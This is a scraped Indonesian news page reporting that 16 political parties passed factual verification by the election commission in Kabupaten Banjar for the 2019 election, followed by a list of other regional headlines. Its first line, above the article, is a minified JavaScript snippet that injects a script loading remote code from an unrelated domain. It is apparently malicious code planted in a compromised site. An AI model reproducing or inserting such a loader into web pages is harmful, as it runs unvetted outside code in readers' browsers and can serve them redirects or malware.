(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Pesta Demokrasi di Kabupaten Banjar Diramaikan 16 Partai Politik


MARTAPURA, 16 Partai politik di Kabupaten Banjar dinyatakan memenuhi syarat atau lolos verifikasi faktual oleh Komisi Pemilihan Umum (KPU) Kabupaten Banjar. Dalam penyampaian hasil verifikasi  kepengurusan dan keanggotaan partai politik calon peserta pemilihan umum tahun 2019 di Kabupaten Banjar, Ketua KPU Banjar Fajeri Tamzidillah menyatakan 12 partai peserta pemilu 2014 dan 4 partai baru.

Sebelumnya KPU Pusat menjadwal waktu verifikasi faktual selama tiga hari, sejak tanggal 30 Januari sampai 1 Februari. Untuk Kabupaten Banjar, ke 16 Parpol dinyatakan memenuhi syarat atau lolos tahap verifikasi.  “Selamat untuk semua parpol yang telah memperjuangkan partainya melewati tahap ini,” ujar Fajeri dalam sambutannya di depan perwakilan parpol, Jumat (2/2) di Aula KPU Kabupaten Banjar.

Dengan ditetapkannya 16 parpol telah memenuhi syarat, maka tidak akan lagi melakukan perlengkapan data ulang hingga tanggal 10 Februari.

“Karena semua parpol baik yang lama atau parpol yang baru di antaranya Garuda, PSI, Berkarya, dan Perindo sudah memenuhi persyaratan,” ujarnya.

Fajeri melanjutkan, penyampaian hasil verifikasi ini hanya bersifat di Kabupaten Banjar saja. Tetapi yang menentukan parpol resmi menjadi peserta pemilu atau tidaknya akan dilihat dari pengumuman KPU Pusat pada tanggal 17 Februari.

Perihal adanya anggota partai yang pindah ke partai yang lain, menurut Fajeri masih belum ada aturan tentang hal tersebut. Namun apabila ada anggota parpol yang berpindah ke partai lain menurut aturan yang ada ia harus mengundurkan diri dulu dari partainya yang dulu.

“Menanggapi adanya perpindahan anggota partai ke partai yang lain kita masih belum memiliki aturan itu. Namun menurut aturan yang ada apabila ada yang berpindah partai maka orang itu harus mengundurkan diri dulu. Jika ada anggota dewan juga yang ingin berpindah partai maka ia harus melepas jabatannya di  DPRD menarik diri dari fraksi partainya,” ujarnya. (hendera)

Reporter: Hendera
Editor: Chell

Desy Arfianty

Recent Posts

65 Kg Sabu dan 12 Ribu Butir Ekstasi Jaringan Fredy Pratama Dimusnahkan

KANALKALIMANTAN.COM, BANJARBARU - Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) memusnahan barang bukti sitaan narkoba hasil… Read More

7 jam ago

Tunggu Keluarga, Jasad Lelaki Tak Bernyawa Disimpan di Kamar Jenazah RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU – Lelaki tak beridentitas yang ditemukan tergeletak tak bernyawa di Jalan Wira Agung… Read More

7 jam ago

Kenal Pamit Kapolres Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Kepala Kepolisian Resor (Kapolres) Kota Banjarbaru resmi berganti dari AKBP Dody Harza… Read More

9 jam ago

Tak Beridentitas, Jasad Lelaki Didapati Membiru di Landasan Ulin Tengah

KANALKALIMANTAN.COM, BANJARBARU - Warga di Jalan Trikora, Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang, Kota… Read More

14 jam ago

Parkir Sembarangan Sekitar Taman Van der Pijl, Siap-siap Kena Derek!

KANALKALIMANTAN.COM, BANJARBARU - Pengunjung Taman Ramah Anak Van der Pijl Kota Banjarbaru tak hanya diharuskan… Read More

14 jam ago

Ombudsman Kalsel Terima 235 Aduan di 2024, Ini Sektor Paling Banyak Dilaporkan

KANALKALIMANTAN.COM, BANJARMASIN - Ombudsman RI Perwakilan Kalimantan Selatan (Kalsel) mencatat sepanjang tahun 2024 telah menerima… Read More

15 jam ago

This website uses cookies.